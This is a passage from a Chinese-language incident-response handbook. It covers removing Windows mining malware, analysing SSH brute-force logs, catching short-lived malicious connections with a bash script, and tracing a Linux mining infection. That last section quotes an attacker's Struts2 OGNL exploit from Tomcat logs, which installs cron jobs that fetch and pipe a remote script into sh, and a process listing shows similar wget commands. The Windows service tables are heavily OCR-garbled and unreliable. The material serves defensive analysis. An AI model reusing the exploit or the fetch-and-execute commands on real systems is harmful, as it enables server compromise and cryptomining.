| SENS | System I | vent Notification | Service | 系统文件 | 1464 | | C/\Windows\System | 32(sens.dll | 25 | 2系统事件并遗纪 | T户这些事情的 COM | M+ 華信系 | m i0 | 正在运行 | CA. |
| Schedule | Task Sch | reduler | | 系统文件 | 1464 | | C/(Windows),system | 32/schedsvc.dll | 使用 | 日本可以在此计算 | (上配置称)+対面均 | 任务、武服 | B 10 | 正在运行 | C2 |
| RemoteUPnPService | Remote | UPnP Service | | #102.18 | 1464 | | C/(Windows),system | 32/RemoteUPnPService. | dl Ena | bles a common | interface and obje | ect model f | 80 | 正在成行 | CA. |
| ProfSvc | User Pro | file Service | | 系统文件 | 1464 | | C/(Windows).system | 32/profess.dll | 2.5 | のたまたまたの | 此用户配置文件, 均 | 果已停止成 | 目 約 | 正在虚约 | CA. |
| MMCSS | Multime | dia Class Schedu | ler | 系统文件 | 1464 | | C/(Windows),system | 32/mmcss.dll | (1) | 「系统電影内的任 | 新优先最后用工作的 | 植对优先级。 | 目的 | 正在遗行 | CA. |
| LanmanServer | Server | | | 系统文件 | 1464 | | C/(Windows),system | 32/arvave.dll | 文列 | 1011年前北通过月1 | 8的文件、打印、60 | ゆ名智道氏 | 自动 | 正在遗行 | CA. |
| iphlpsvc | IP Helpe | * | | 系统文件 | 1464 | | C//Windows/System | 32\iphlpsvc.dll | 使用 | 目的後期強性术的 | Ho4. ISATAP. INC | OfCERN Ter- | 前的 | 正在由行 | CA. |
| DKEEKT | IKE and | Auth2P IPsec Key | ing M | 系统文件 | 1464 | | C/(Windows/System | 32\keext.dl | DOE | EXT 服务任管 Int | ernet 8092MGKE | (約8份验证 | mitt) | 正在遗行 | CA. |
| gptvc | Group P | olicy Client | | 系统文件 | 1464 | | C/(Windows)/System | 32\gpsvc.dll | 法历 | の会長表示は出版 | 最近件应用管理员为 | 计算机和用 | m30 | 正在遗行 | CA. |
| EapHost | Extensib | le Authentication | Protoc | 系统文件 | 1464 | | C/(Windows/System | 32(eaptvc.dll | गुत्र | "果的身份能证你 | RIEAPI服务程以下使 | R下播件用_ | 手助 | 正在运行 | CA. |
| Browser | Compute | er Browser | | 系统文件 | 1464 | | C/(Windows/System | 32(browser.dll | 183 | 问题上计算机的 | 更新列表,并将列表 | 播供給计算 | 手助 | 正在运行 | C.5 |
| BITS | Backgro | und Intelligent To | ransfer | 系统文件 | 1464 | | C/(Windows/System | 12\omgr.dll | 使用 | 1空河河،南带宽在) | [台传送文师、 如果 | 法服务被禁 | 自动 | 正在运行 | C2 |
| AeLookupSvc | Applicat | ion Experience | | 系统文件 | 1464 | | C/(Windows/System | 12\aelupsvc.dll | 在白 | (用程序启动时为) | 1.用程序处理在用程 | 序展窗性质。 | 手助 | 正在运行 | C2 |
| AdobeARMservice | Adobe A | crobat Update S | ienice | 数字签名文件 | 1524 | | C//Program Files/Ci | ommon Files/Adobe/ARM | A Ada | obe Acrobat Up | dater keeps your A | Adobe soft | B 40 | 正在成行 | °C |
| WinHttpAutoProxy | WeHTT | P Web Proxy Auto | o-Disc | 系统文件 | 1636 | | C/(Windows).system | 12/wiektp.dll | Wie | HTTP \$2764 | THE HTTP HIME FIRE | 用放人员提供。 | 手助 | 正在成行 | CA. |
| WidiServiceHost | Diagnos | tic Service Host | | 系统文件 | 1636 | | C/(Windows).system | 32/wdi.dll | 100 | ····································· | 网络拉马马来泽戴英 | 要在非地程 | 手助 | 正在遗行 | CA11 |
| W32Time | Window | s Time | | 影视文体 | 1636 | | C//Windows/usystem | 32/w32time.dll | 180 | 在网络上的所有 | E产油和服务器的时 | 原松日期用 | 手助 | 正在由行 | CA. |
| nsi | Network | Store Interface | Service | 系统文件 | 1636 | | C//Windows/usystem | 32/nsisve.dll | 25 | 2000月一個北京 | PROBRERO R | (10. (Sto/B) | 0.00 | 正在由行 | CA. |
| netprofm | Network | List Service | | 系统文件 | 1636 | | C/(Windows/System | 32\netprofm.dll | 198 | 计算机已连接的 | R唐, 改集和存储会 | 也同地的第三 | 手助 | 正在遗行 | CA. |
| EventSystem | COM+ E | vent System | | 系统文件 | 1636 | | C/(Windows),system | 32/es.dl | 22 | 系统事件通知[] | 物 (SENS) . 出版例7 | 078004 | mitt) | 正在遗行 | Cost. |
| LDSecSvc | LANDES | K Endpoint Secur | ity . | 数字签名文件 | 1740 | - 6- | C/Program Files/LA | NDesk/LDClient/hips/LD | s. 189 | 切工作品的主約 | 古師 HEPS、白名単 | 防火噴、设。 | 0.0 | 正在运行 | °C |
| CBA8 | LANDesi | k(R) Managemen | t Agent | 用规文件 | 1768 | 10 | C/Program Files/LA | NDesk/Shared Files/yesi | d_ Pro | vides managem | ent services for LA | NDesk(R) p. | 0.0 | 正在运行 | °C |
| QPCore | QPCore | Service | | 数字签名文师 | 1908 | 83 | C//Program Files/Co | ommon Files/,Tencenti,QQ | 2- MP | 「安全服务 | | | B 10 | 正在运行 | °C |
| FastUserSwitching | FastUser | SwitchingCompa | oblity | 数学签名文件 | 2052 | | C/(Windows).system | 12\iskgent/isaSvc.dl | | | | | 自动 | 正在成行 | CA. |
| Intel Local Schedul. | Intel Loc | al Scheduler Sen | vice | 数学签名文件 | 2136 | - | C//Program Files/LA | NDesk/LDClient/LocalSc | h | | | | B 40 | 正在成行 | °C |
| Intel PDS | Intel PDI | ş. | | #10214 | 2304 | | C/OWindows'usystem | 32\CBA\pds.exe | | | | | m /kb | 正在成份 | CA. |
| ISSUSER | LANDES | < 远程文持服务 | | 数字签名文件 | 2428 | 01 | C/Program Files/LA | NDesk/LDClient/issuser/ | eve fil | (米自己部級外部) | DIR IT #4700.593 | 219. | B (0) | 正在遗行 | °C |
| LANDesk Targeted. | LANDES | < 空向多環 | | 数字签名文件 | 2600 | | C/Program Files/LA | NDesk\LDClient\tmcsvc. | exe Rec | eives and/or se | nds multicast data | as part of | mith | 正在曲行 | *C = |
| 7 C | | | | | | | | | | | | _ | | | |

C、删除服务

| 选择可疑服务项, | 右键属性, | 停止服务, | 启动类型: | 禁止。 |
|----------|-------|-------|-------|-----|
| | | | | ~ |

| (型(V) 単約(H) | | | |
|--|--|--|-----|
| 🔒 🔛 📰 🕨 🖩 🛯 🔛 | | | |
| 服务(车地) | | | |
| Remote UPnP Service | 88 ['] | 编述 状态 启动频型 聖景为 | |
| | PnP-X IP Bus Enumerator | PnP-X 忽域牧李攝服务管理者和同端创成,该服务使用 SSDP/WS | |
| <u>用</u> 管:此服务 | Q PNRP Machine Name Publication | . 此服务使用对等名称解析协议发布计算机名称。配置是通过 Nets | |
| | Q Portable Device Enumerator Ser | 强制可移动大容量存储设备的组集略。使应用程序如 Windows | |
| | Q Power | 智慧电源策略行电源策略进行传递。 已启动 自动 羊地系统 | |
| Subles a common interface and | Q Print Spooler | 将文件拉戴别内存供稿或打印 已居动 自动 半地系统 | |
| object model for the Remote | Problem Reports and Solutions | 此服务为重要,发送和整除"问题报告和解决方案"投制国际的系。 | |
| UPnP Service to access | Program Compatibility Assistant | 此服务为每年兼容性助手(PCA)提供支持、PCA 监视由用户实储和手动 本地系统 | |
| management information about | C Protected Storage | 为敏感数据加度衰竭供保护存储,以防止未须权的服务、进程成 手动 本地系统 | |
| system update, network protocols, devices and | QPCore Service Quality Windows Audio Video Ex | 原元安全服务 优质 Windows 查却保护证则(v) Remote UPvP Service 的屬性(本地計算机) | -13 |
| applications. If this service is | Remote Access Auto Connection | 无动什么时候,当某个程序引用。 常规 皇亲 做算 体存关系 | |
| stopped, most Kernel-based | Q Remote Access Connection Man | 管理从这般计算机到 Internet 版 解色实际 Transforming | |
| software will not function | Q Remote Desktop Configuration | 近程桌面能量服务(RDCS)決要要 用空空船 hands Math Service | |
| properly. If this service is | Remote Desktop Services | 大作用の以交互方式を練到活程: | _ |
| disabled, any services that | Remote Desktop Services User | 先祥为 RDP 遠線重空向打印机-g 欄近: Ranbles a comma interface and object nodel for the Ranote Waf Service to | 5 1 |
| depend on it will fail to start. | Q Remote Procedure Call (RPC) | RPCSS 服务量 COM RI DCOM | |
| | Q Remote Procedure Call (RPC) Lo | 在 Windows 2003 积 Windows C: Visiders/Crystes2/Combest. and "k satarys | |
| | Remote Registry | 供活程用户能导放出计算机上的; 由计由时 (1) 日本 | a |
| | Remote UPnP Service | Enables a common interface a | a |
| | Routing and Remote Access | 在局域用以及广域用研磨中为企业 就加出监督部长自动执行。 | |
| | RPC Endpoint Mapper | 解析 RPC 接口标识符以传输讯信 解表状态: 户借止 | |
| | C Secondary Logon | 在不同光緒下自用自动过程。如果 | |
| | G Secure Socket Tunneling Protoc | 確保接用 VPN 連接到回程计算机 単位の 目前の 目前の 目前の | |
| | C Security Accounts Manager | 应助此服务将向其也服务发出值 ⁴ 当从此比此的服务时,您可保定所适用的启动参数。 | |
| | G Security Center | WSCSVC(Windows 安全中心)局 | |
| | GServer | 文時此计算机通过网络的文件、計 超功能数 (8) | |
| | G Shell Hardware Detection | 为自动模拟硬件事件提供意见。 | |
| | G Smart Card | 管理此计算机力智能中的年度の1 後安 取為 広用 | 80 |
| | G Smart Card Removal Policy | 允许系统配置为移种智能中的组织 | |
| | Q SNMP Trap | 操农本地或远程简单问语管理协议 (SNMP) 代理程序生成的段码… 手动 本地服务 | |
| | G Software Protection | 启用 Windows 纪 Windows 应用程序的数字许可证的下载。安 | |
| | Q SPP Notification Service | 操作取得接受数据和意见 手动 本地服务 | |
| | SSDP Discovery | 当发现了使用 SSDP 协议的网络设备和服务,如 UPvP 设备,同 已启动 手动 本地服务 | |
| | G Superletch | 维护和国际一般时间内的系统性能。 已启动 自动 羊地系统 | |
| | System Event Notification Service | 监视系统事件开握和订产运员事件的 COM+ 事件系统。 已启动 自动 羊地系统 | |
| | Tablet PC Input Service | 启用 Tablet PC 總和臺边功能 已启动 手动 非地系统 | |
| | G Task Scheduler | 他用户可以在此计算机上配置和计划自动任务。此极务还托管多个。 已启动 自动 本地系统 | |
| | TCR/D NetROCK Helmer | ## TC2/12 (Narist) 服装上的 NaristOC 記録線上載台線的 Nat. 日前時 音功 土地振荡 | |

停止并禁用服务,再清除NerworkDistribution目录后,重启计算机。异常请求和目录的现象消失。 又排查了几台,现象一致,就是服务项的名称有点变化。

| | | | | | | - |
|----------------------------------|--|-----------|-----|-------------|---|---|
| Windows SSDP Host | Sft . | 接送 | 状态 | 启动关型 | 現为 | |
| | 🔍 Windows Defender | (T30 | 已启动 | 0.0358 | 地影響 | |
| 1413 (State) | Q Windows Driver Foundation - User-mode Driver | 甘港 | 已自动 | 前約 | 地面 Windows SSDP Host 的属性(本地计算机) | - 32 |
| Enables a common interface and | Windows Error Reporting Service | 允许 | 已启动 | 手約 | ST ME AN AN ANY | |
| object model for the Windows | Q Windows Event Collector | 此报 | | 手段 | 林市 聖家 知識 新祥大街 | |
| management information about | Windows Event Log | 此版 | 已自动 | 80 | 激励 服务名称: WindowsSUPNest | |
| system update, network | G Windows Firewall | Win | 已启动 | 0.0 | 地路 豊余高称: Windows 2007 Next | |
| protocols, devices and | Q Windows Fort Cache Service | 通过 | | 手续 | 2019 mor- Eachles a comeon interface | and object . |
| applications. If this service is | Windows Image Acquisition (WIA) | 为日 | 已自动 | 0.0 | 2010 nodal for the Windows SSOF | Nost to access . |
| software will not function | G Windows Installer | 15to | | 手助 | 第1 司执行文件的 部 分 | |
| properly. If this service is | G Windows Management Instrumentation | 19/7 | 已自动 | m #0 | C: Window System32 Swedowst. and "k netwo | |
| disabled, any services that | Q Windows Media Player Network Sharing Service | 00/R_ | | 手助 | (25) (25) (25) (25) (25) | • |
| depend on it will fail to start. | G Windows Modules Installer | 启用 | | 手助 | THE REAL PROPERTY AND ADDRESS. | |
| | Q Windows Presentation Foundation Font Cache 3 | 通过 | 已启动 | 手助 | RANK AND THE REAL PARTY OF | |
| | G Windows Remote Management (WS-Manageme | Win | | 手助 | 通販 服务状态: 已停止 | |
| | Q Windows Search | 为文一 | 已启动 | mit/1218_ | (の発行 (の月前) (2015年) (2015F) (2015F | 97E(0) |
| | G Windows SSDP Host | Ena | | MR | | |
| | 🔾 Windows Time | 1830 | 已启动 | 手助 | 地质 用从此交通标准服用时, 这可能在影响这用的路动度 | /gx = |
| | Q Windows Update | 启用 | | mitro#688- | COMPANY AND | |
| | Q WinHTTP Web Proxy Auto-Discovery Service | Win | 已启动 | 手助 | 地區 | |
| | C Wired AutoConfig | 羽说 | | 手助 | 100 | |
| | G WLAN AutoConfig | WLA | 已自动 | 自約 | 20 N2 | (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) |
| | Q WMI Performance Adapter | Prov. | | 16.05 | THE REAL PROPERTY AND ADDRESS OF ADDRES ADDRESS OF ADDRESS OF ADDR | |

D、病毒清除

挖矿病毒清除过程如下:

1、停止并禁用可疑的服务项,服务项的名称会变,但描述是不变的,根据描述可快速找到可疑服务项。

可疑服务项描述: Enables a common interface and object model for the Remote UPnP Service to access

删除服务项: Sc delete RemoteUPnPService

- 2、删除C:\Windows\NerworkDistribution目录
- 3、重启计算机
- 4、使用杀毒软件全盘查杀
- 5、 到微软官方网站下载对应操作系统补丁, 下载链接:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010

0x03 后记

在查询了大量资料后,找到了一篇在2018年2月有关该病毒的报告:

NrsMiner: 一个构造精密的挖矿僵尸网络

https://www.freebuf.com/articles/system/162874.html

根据文章提示,这个病毒的构造非常的复杂,主控模块作为服务"Hyper-VAccess Protection Agent Service"的 ServiceDII存在。但与目前处理的情况有所不同,该病毒疑似是升级了。

第五章: Linux实战篇

第1篇:SSH暴力破解

0x00 前言

SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保 证数据传输的安全。SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被 攻击者获取,可用来直接登录系统,控制服务器所有权限。

0x01 应急场景

| [root@loc | calhost | log] | # netstat -anplt grep 22 | | | | |
|-----------|---------|------|---------------------------|-----------------------------|-------------|---------------|--------|
| tcp | 0 | 0 | 127.0.0.1:2208 | 0.0.0:* | LISTEN | 3215/hpiod | |
| tcp | 0 | 0 | 192.168.143.112:22 | 111.13208:80 | SYN_RECV | - | |
| сер | 0 | 0 | 192.168.143.112:22 | 123.5931:80 | SYN RECV | - | |
| tcp | 0 | 0 | 127.0.0.1:2207 | 0.0.0.0:* | LISTEN | 3220/python | |
| tcp | 0 | 0 | :::8001 | :::* | LISTEN | 22952/java | |
| tcp | 0 | 0 | ::ffff:127.0.0.1:8004 | :::* | LISTEN | 22952/java | |
| tcp | 0 | 0 | :::8008 | :::* | LISTEN | 22952/java | |
| tcp | 0 | 0 | :::22 | :::* | LISTEN | 3233/sshd | |
| tcp | 0 | 0 | ::ffff:127.0.0.1:54071 | ::ffff:127.0.0.1:3306 | ESTABLISHED | 22952/java | |
| tcp | 0 | 0 | ::ffff:127.0.0.1:54067 | ::ffff:127.0.0.1:3306 | ESTABLISHED | 22952/java | |
| tcp | 0 | 0 | ::ffff:127.0.0.1:54063 | ::ffff:127.0.0.1:3306 | ESTABLISHED | 22952/java | |
| tcp | 0 | 0 | ::ffff:192.168.143.112:22 | ::ffff:192.168.143.24:33474 | ESTABLISHED | 21307/sshd: r | oot@no |
| tcp | 0 | 52 | ::ffff:192.168.143.112:22 | ::ffff:192.168.143.22:48373 | ESTABLISHED | 21652/1 | |

某天,网站管理员登录服务器进行巡检时,发现端口连接里存在两条可疑的连接记录,如下图:

1. TCP初始化连接三次握手吧:发SYN包,然后返回SYN/ACK包,再发ACK包,连接正式建立。但是这里有点出入, 当请求者收到SYS/ACK包后,就开始建立连接了,而被请求者第三次握手结束后才建立连接。

2. 客户端TCP状态迁移:

CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED

服务器TCP状态迁移:

CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED

3. 当客户端开始连接时,服务器还处于LISTENING,客户端发一个SYN包后,服务端接收到了客户端的SYN并且发送了ACK时,服务器处于SYN_RECV状态,然后并没有再次收到客户端的ACK进入ESTABLISHED状态,一直停留在SYN_RECV状态。

在这里, SSH (22) 端口, 两条外网IP的SYN_RECV状态连接, 直觉告诉了管理员, 这里一定有什么异常。

0x02 日志分析

SSH端口异常,我们首先有必要先来了解一下系统账号情况:

A、系统账号情况

```
1、除root之外, 是否还有其它特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
root
```

2、可以远程登录的帐号信息

[root@localhost ~]# awk '/\\$1|\\$6/{print \$1}' /etc/shadow root:\$6\$38cKfZDjsTiUe58v\$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1xmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8j FuxOfEYIKLID6hq0::0:999999:7:::

我们可以确认目前系统只有一个管理用户root。

接下来,我们想到的是/var/log/secure,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录下来。

B、确认攻击情况:

```
1、统计了下日志,发现大约有126254次登录失败的记录,确认服务器遭受暴力破解
[root@localhost ~]# grep -o "Failed password" /var/log/secure|uniq -c
```

126254 Failed password

2、输出登录爆破的第一行和最后一行,确认爆破时间范围: [root@localhost ~]# grep "Failed password" /var/log/secure|head -1 Jul 8 20:14:59 localhost sshd[14323]: Failed password for invalid user gwe from 111.13.xxx.xxx port 1503 ssh2 [root@localhost ~]# grep "Failed password" /var/log/secure|tail -1 Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2 3、进一步定位有哪些IP在爆破? [root@localhost ~]# grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]| $[01]?[0-9][0-9]?) \setminus (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \setminus (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]]$ 9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr 12622 23.91.xxx.xxx 8942 114.104.xxx.xxx 8122 111.13.xxx.xxx 7525 123.59.xxx.xxx . 4、爆破用户名字典都有哪些? [root@localhost ~]# grep "Failed password" /var/log/secure|perl -e 'while(\$_=<>){ /for(.*?) from/; print "\$1\n";}'|uniq -c|sort -nr 9402 root 3265 invalid user oracle 1245 invalid user admin

1025 invalid user user

C、管理员最近登录情况:

通过日志分析,发现攻击者使用了大量的用户名进行暴力破解,但从近段时间的系统管理员登录记录来看,并未发现异常登录的情况,需要进一步对网站服务器进行入侵排查,这里就不再阐述。

0x04 处理措施

SSH暴力破解依然十分普遍,如何保护服务器不受暴力破解攻击,总结了几种措施:

1、禁止向公网开放管理端口,若必须开放应限定管理IP地址并加强口令安全审计(口令长度不低于8位,由数字、大小写字母、特殊字符等至少两种以上组合构成)。

2、更改服务器ssh默认端口。

3、部署入侵检测设备,增强安全防护。

第2篇: 捕捉短连接

0x00 前言

短连接(short connnection)是相对于长连接而言的概念,指的是在数据传送过程中,只在需要发送数据时,才去建立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一项业务的发送。在系统维护中,一般很难去察觉,需要借助网络安全设备或者抓包分析,才能够去发现。

0x01 应急场景

某天,网络管理员在出口WAF检测到某台服务器不断向香港I发起请求,感觉很奇怪,登录服务器排查,想要找到发起 短连接的进程。

0x02 日志分析

登录服务器查看端口、进程,并未发现发现服务器异常,但是当多次刷新端口连接时,可以查看该连接。有时候一直刷 这条命令好十几次才会出现,像这种的短连接极难捕捉到对应的进程和源文件。

| [root@ | localho | st ~]# | netstat -anplt | | | |
|--------|----------|---------|------------------------------|---------------------|-------------|------------------|
| Active | e Intern | et conn | nections (servers and establ | ished) | | |
| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State | PID/Program name |
| tcp | 0 | 0 | 0.0.0:111 | 0.0.0.0:* | LISTEN | 1317/rpcbind |
| tcp | 0 | 0 | 0.0.0.0:40052 | 0.0.0.0:* | LISTEN | 1362/rpc.statd |
| tcp | 0 | 0 | 0.0.0:22 | 0.0.0.0:* | LISTEN | 1573/sshd |
| tcp | 0 | 0 | 127.0.0.1:631 | 0.0.0.0:* | LISTEN | 1396/cupsd |
| tcp | 0 | 0 | 127.0.0.1:25 | 0.0.0.0:* | LISTEN | 1656/master |
| tcp | 0 | 0 | 192.168.8.147:22 | 192.168.8.1:12201 | ESTABLISHED | 1909/sshd |
| tcp | 0 | 52 | 192.168.8.147:22 | 192.168.8.1:12223 | ESTABLISHED | 1938/sshd |
| tcp | 0 | 0 | :::111 | :::* | LISTEN | 1317/rpcbind |
| tcp | 0 | 0 | :::38544 | :::* | LISTEN | 1362/rpc.statd |
| tcp | 0 | 0 | :::22 | :::* | LISTEN | 1573/sshd |
| tcp | 0 | 0 | ::1:631 | :::* | LISTEN | 1396/cupsd |
| tcp | 0 | 0 | ::1:25 | :::* | LISTEN | 1656/master |
| [root@ | localho | st ~]# | netstat -anplt | | | |
| Active | e Intern | et conn | nections (servers and establ | ished) | | |
| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State | PID/Program name |
| tcp | 0 | 0 | 0.0.0.0:111 | 0.0.0.0:* | LISTEN | 1317/rpcbind |
| tcp | 0 | 0 | 0.0.0.0:40052 | 0.0.0.0:* | LISTEN | 1362/rpc.statd |
| tcp | 0 | 0 | 0.0.0:22 | 0.0.0.0:* | LISTEN | 1573/sshd |
| tcp | 0 | 0 | 127.0.0.1:631 | 0.0.0.0:* | LISTEN | 1396/cupsd |
| tcp | 0 | 0 | 127.0.0.1:25 | 0.0.0.0:* | LISTEN | 1656/master |
| tcp | 0 | 0 | 192.168.8.147:22 | 192.168.8.1:12201 | ESTABLISHED | 1909/sshd |
| tcp | 0 | 1 | 192.168.8.147:55901 | 118.184.15.40:17097 | SYN_SENT | 1964/[nfsiod] |
| tcp | 0 | 52 | 192.168.8.147:22 | 192.168.8.1:12223 | ESTABLISHED | 1938/sshd |
| tcp | 0 | 0 | :::111 | 101 | LISTEN | 1317/rpcbind |
| tcp | 0 | 0 | :::38544 | | LISTEN | 1362/rpc.statd |
| tcp | 0 | 0 | :::22 | :::* | LISTEN | 1573/sshd |
| tcp | 0 | 0 | ::1:631 | :::* | LISTEN | 1396/cupsd |
| tcp | 0 | 0 | ::1:25 | :::* | LISTEN | 1656/master |

手动捕捉估计没戏,很难追踪,于是动手写了一段小脚本来捕捉短连接对应的pid和源文件。

脚本文件如下:

```
#!/bin/bash
ip=118.184.15.40
i=1
while :
do
   tmp=netstat -anplt|grep $ip|awk -F '[/]' '{print $1}'|awk '{print $7}'
   #echo $tmp
   if test -z "$tmp"
   then
       ((i=i+1))
   else
       for pid in $tmp; do
           echo "PID: "${pid}
          result=ls -lh /proc/$pid|grep exe
          echo "Process: "${result}
          kill -9 $pid
       done
       break
   fi
done
echo "Total number of times: "${i}
```

运行结果如下:

```
[root@localhost tmp]# ./1.sh
PID: 14748
Process: lrwxrwxrwx. l root root 0 8月 26 18:56 exe -> /usr/lib/nfsiod
Total number of times: 287
[root@localhost tmp]# ./1.sh
PID: 17248
Process: lrwxrwxrwx. l root root 0 8月 26 18:57 exe -> /usr/lib/nfsiod
Total number of times: 499
[root@localhost tmp]# ./1.sh
PID: 19439
Process: lrwxrwxrwx. l root root 0 8月 26 18:57 exe -> /usr/lib/nfsiod
Total number of times: 438
```

跑了三次脚本,可以发现短连接每次发起的进程Pid一直在变,但已经捕捉到发起该异常连接的进程源文件为/usr/lib/nfsiod

0x04 小结

本文简单介绍了短连接以及捕捉短连接源文件的技巧,站在安全管理员的角度,应加强对网络安全设备的管理,在网络 层去发现更多在系统层很难察觉的安全威胁。

第3篇:挖矿病毒

0x00 前言

随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的 挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝 (EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞、Struts2 远程命令执行等),导致大量服务器被感染挖矿程序的现象。

0x01 应急场景

某天,安全管理员在登录安全设备巡检时,发现某台网站服务器持续向境外IP发起连接,下载病毒源:

| C | D | E | F |
|----------------------------------|--------------------|-------------|----------------------------------|
| 11威胁描述 | 源 IP | 目标 IP | URL |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | S(172.27.99.129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous URL in Web Reputation | Se172. 27. 99. 129 | 5.188.87.12 | http://5.188.87.12/icons/kworker |
| Dangerous IIRI in Weh Reputation | Se172 27 99 129 | 5 188 87 12 | http://5 188 87 12/icons/kworker |

0x02 事件分析

A、排查过程

登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程:

| WW-S | I-W 1 | :/va | r/tı | ip 🕴 1 | netsta | t -anplt | grep | 93011 | | |
|------|-------|--------|------|--------|-----------|--------------------|-------|----------------------------|----------------------|--------------------------------|
| tcp | 0 | | 0 | 127.0 | 0.0.1: | 1757 | | 0.0.0:* | LISTEN | 93011/5m34wiu4tjq3b |
| tcp | 0 | | 0 | 172.3 | 27.99. | 129 : 52190 | | 103.55.25.90:80 | ESTABLISHED | 93011/5m34wiu4tjq3b |
| | | | | | | | | | | |
| WW | | oc/911 | | ps aux | (grep) | wget | | | | |
| root | 94813 | 0.0 | 0.0 | 11288 | 1304 ? | Ss | 19:40 | 0:00 /bin/sh -c wget -0 - | -q http://5.188.87.1 | ll/icons/logo.jpg sh |
| root | 94826 | 0.0 | 0.0 | 18732 | 1528 ? | S | 19:40 | 0:00 wget -0 /var/tmp/atd | http://5.188.87.12/ | icons/kworker |
| root | 94955 | 0.0 | 0.0 | 18732 | 1532 ? | S | 19:41 | 0:00 wget -0 /var/tmp/wcub | piztlk.conf http:// | 5.188.87.12/icons/kworker.conf |
| root | 94998 | 0.0 | 0.0 | 4520 | 540 pt | ts/2 S+ | 19:41 | 0:00 grep wget | | |

下载logo.jpg,包含脚本内容如下:



到这里,我们可以发现攻击者下载logo.jpg并执行了里面了shell脚本,那这个脚本是如何启动的呢?

通过排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了恶意脚本,每隔一段时间发起请求下载病毒 源,并执行。

B、溯源分析

在Tomcat log日志中,我们找到这样一条记录:

对日志中攻击源码进行摘录如下:

{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?

(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -0 - -q

http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" |
crontab -;wget -0 - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=

(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?

{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).

(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=

